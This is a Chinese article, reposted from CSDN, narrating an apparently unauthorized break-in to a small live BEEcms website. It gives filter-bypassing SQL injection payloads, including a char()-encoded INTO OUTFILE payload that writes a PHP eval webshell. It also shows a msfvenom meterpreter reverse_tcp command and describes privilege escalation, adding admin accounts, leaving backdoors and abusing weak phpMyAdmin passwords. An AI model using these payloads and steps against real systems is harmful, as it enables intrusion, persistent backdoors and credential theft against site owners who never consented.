0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

记录某一次无意点开的一个小网站的渗透过程

工程师邓生 来源:CSDN 作者:Deilty 2022-09-09 09:09 次阅读

记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。

一、渗透过程

无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞,Beecms 通用漏洞

9f54549e-2fd7-11ed-ba43-dac502259ad0.png

这里运气比较好,没有更改后台地址,还是默认地址/admin/login.php

a01ba2a6-2fd7-11ed-ba43-dac502259ad0.png

通过通用漏洞发先后台管理处存在sql注入漏洞,直接输入admin’,然后就会报错,这里用万能密码不能登陆,看来还是得通过上面得通用漏洞来进行注入

a10710ba-2fd7-11ed-ba43-dac502259ad0.png

可以看到输入payload后,页面返回正常,从而可以判断有sql注入,这里采用双写进行绕过a159dd9a-2fd7-11ed-ba43-dac502259ad0.png

发现这个注入点后,就有各种各样的注入方式了,通过sql语句写入一句话,sqlmap一把梭,手工注入得到账号密码等等,怎么方便怎么来,这里我把几种方法都写一下,看看那种方法可以

方法一

1.通过post抓包sqlmap一把梭,dump出管理员账号密码,进后台找上传点

2.一把梭,发现并没有,使用脚本也没有绕过

a17de23a-2fd7-11ed-ba43-dac502259ad0.png

方法二

1.通过burp抓包,写入一句话,payload:admin%27 un union ion selselectect 1,2,3,4, into outfile 'xm.php'#,发现写入失败,前面讲到有防护,这里通过hex编码或者char函数绕过

a387b84e-2fd7-11ed-ba43-dac502259ad0.png

2.对shell部分进行编码

a3a64f52-2fd7-11ed-ba43-dac502259ad0.png

3.写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数,但是本次实验用unhex函数一直失败,所以在前面加0x,看到可以写入成功。

ps:这里的写入路径纯属盲猜,运气好,默认目录

a3e19148-2fd7-11ed-ba43-dac502259ad0.png

4.用蚁剑连接,成功连接,至此getshell完毕,下来就是后渗透阶段,后面会讲

a4177cea-2fd7-11ed-ba43-dac502259ad0.png

char函数绕过:mysql内置函数char()可以将里面的ascii码转换为字符串,payload为:admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

a44b1302-2fd7-11ed-ba43-dac502259ad0.png

一样成功写入

1.写入成功后,菜刀可以连接,我们访问写入的文件,惊奇的发现竟然有admin,和一串md5码,大胆猜测可能是后台账号和密码,试一下

a49a1e7a-2fd7-11ed-ba43-dac502259ad0.png

2.md5解密,wocao,成功登陆,然后就是后台找上传了

a4b97c34-2fd7-11ed-ba43-dac502259ad0.png

二、后渗透

通过whoami查看权限,发现是admin权限,但是不是最高权限,我们要提到最高权限去

a4db327a-2fd7-11ed-ba43-dac502259ad0.png

方法一

1.通过msf生成木马提权,payload:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe X > shell.exe

2.通过蚁剑上传木马,并执行。执行之前打开msf使用模块use exploit/multi/handler,设置相应参数,然后开始监听

a4fcc3cc-2fd7-11ed-ba43-dac502259ad0.png

3.不知道什么问题,用这个没有成功,那么只能通过大马提权了

方法二

1.上传大马,此处应该有狗或者盾之类的,用的免杀,成功上传

2.访问大马

a5226096-2fd7-11ed-ba43-dac502259ad0.png

3.这里提权方式很多,就不细说了,有大马之后很多操作都可以引刃而解了,开放端口,添加账号,留后门。。等等

4.创建admin权限账号之后,登陆服务器

a569434e-2fd7-11ed-ba43-dac502259ad0.png

三、一些其他的发现

通过扫描目录,还发现有phpmyadmin,可以爆破,这里我试了下竟然是弱口令,都是root,但是连接不上,只能通过phpmyadmin登陆,发现是低版本的phpstudy搭建的,这里就可以另一种思路,利用日志文件写入一句话getshell

a5f611de-2fd7-11ed-ba43-dac502259ad0.png

四、总结 1.前台sql注入获取用户名密码,进入后台找上传 2.SQL注入语句写入一句话 3.phpmyadmin一句话getshell 4.上传大马提权

至此,渗透结束。


审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • SQL
    SQL
    +关注

    关注

    1

    文章

    738

    浏览量

    43468
  • 编码
    +关注

    关注

    6

    文章

    835

    浏览量

    54458
  • ASCII
    +关注

    关注

    4

    文章

    169

    浏览量

    34542

原文标题:实战 | 一次小网站渗透过程

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    配置SPI一次收发16位数据,但抓的数据波形显示,数据连续发送和接收了4为什么?

    我配置SPI一次收发16位数据,但抓的数据波形显示,数据连续发送和接收了4,这个情况有碰到的吗?
    发表于 04-18 07:52

    STM32F205利用DMA实现多通道ADC采样,但是每启动一次转换才能更新一次结果是为什么?

    mode; 3、软件SWSTART启动AD转换后,每启动一次内存中只有一次转换结果更新,要完成12采样需要SWSTART启动12,为什么?单
    发表于 03-27 06:37

    请问如何一次同时烧录bootloader和application?

    我们的bootloader和bootloadable的例程产生的bootloader程序和application程序如何合并成hex,一次烧录到芯片内?有什么AN或工具么?
    发表于 02-21 07:24

    AD7328是不是往寄存器里写一次值 都会触发一次AD转换呢?

    AD7328是不是往寄存器里写一次值 ,都会触发一次AD转换呢? 有没有相关的C demo程序呢 ?
    发表于 12-25 06:30

    求助:需要特定物品发出的声音记录系统【某一种声音的计数器】,酬劳感谢

    各位大神,小弟有需求,就是要记录某一种声音的发生次数,这个声音发生是频率在1秒钟左右,但是不是持续发生,是某一时间发生。 就是当这个声音
    发表于 12-24 11:58

    用TMS320F2812的两访问能实现一次配置读写或者普通读写吗?

    各位大侠好! 我有应用是用TMS320F2812来采集电机的位置,用到了AD2S1210,我看数据手册中AD2S1210的并行接口配置模式和普通模式的读写操作都是有写有读的复合过程。我用F2812的两
    发表于 12-20 06:17

    ADC通过SPI读取转换结果时一次只能读取转换结果,不能连续读取吗?

    我选了几款带SPI接口的ADC(如AD7680,AD7982等),看SPI时序时,发现在CS/CNV拉低时,一次只能读取转换结果,而不能连续读取,要读取下一个时必须得再次拉低CS/
    发表于 12-05 08:15

    记录一次时序收敛的过程

    在之前的文章里面介绍了Canny算法的原理和基于Python的参考模型,之后呢在FPGA上完成了Canny算法的实现,可是遇到了时序不收敛的问题,记录一下。
    的头像 发表于 11-18 16:38 503次阅读
    <b class='flag-5'>记录</b><b class='flag-5'>一次</b>时序收敛的<b class='flag-5'>过程</b>

    串口收发,上电后第一次总是多FF字节怎么解决?

    串口1 收发,上电后第一次收到的数据 总是多FF,导致后面数据乱了,但是在仿真状态是,收发是正常的,如下图。望大家多多指点。谢谢! 调换过串口和GPIO配置的顺序,还是没有解决。
    发表于 10-20 08:27

    modbus在通信的过程中怎么一次写入多个保存寄存器?

    modbus在通信的过程中怎么一次写入多个保存寄存器
    发表于 10-11 08:01

    51单片机电路第一次上电无法下载程序

    使用stc15W204s单片机,第一次上电时复位键无法工作,不能下载程序,已下载过程序的单片机焊接在这个电路上可正常下载。
    发表于 10-08 14:12

    请问freeRTOS可以一次挂起所有任务吗?

    1.freeRTOS可以一次挂起所有任务吗? 2.在界面下,如果不需要所有任务都运行,大家是怎么处理的?
    发表于 09-28 08:28

    请问读取DataFlash定要透过FMC吗?

    请问读取DataFlash定要透过FMC吗? 如果是需要频繁读取的数据透过FMC太花时间, 能否透过指针直接读取? __align(4) uint32_t buf; uint32_
    发表于 08-25 06:33

    记脚本小子的一次渗透过程

    一.前言 在一次综合渗透过程中遇到的比较完整的一个渗透流程。很多现查的技巧,这次渗透的基础是基于队友已经在服务器写入了一句话木马但无法执行
    的头像 发表于 06-14 09:21 337次阅读
    记脚本小子的<b class='flag-5'>一次</b><b class='flag-5'>渗透</b>全<b class='flag-5'>过程</b>

    MPC5748G如何一次只为通道生成ADC EOC中断?

    CEOFCRx 寄存器。 但我只想一次特定通道触发 EOC 中断。有 CIMRx 寄存器。 但是如果我尝试通过写入 CIMRx 来为
    发表于 05-31 06:06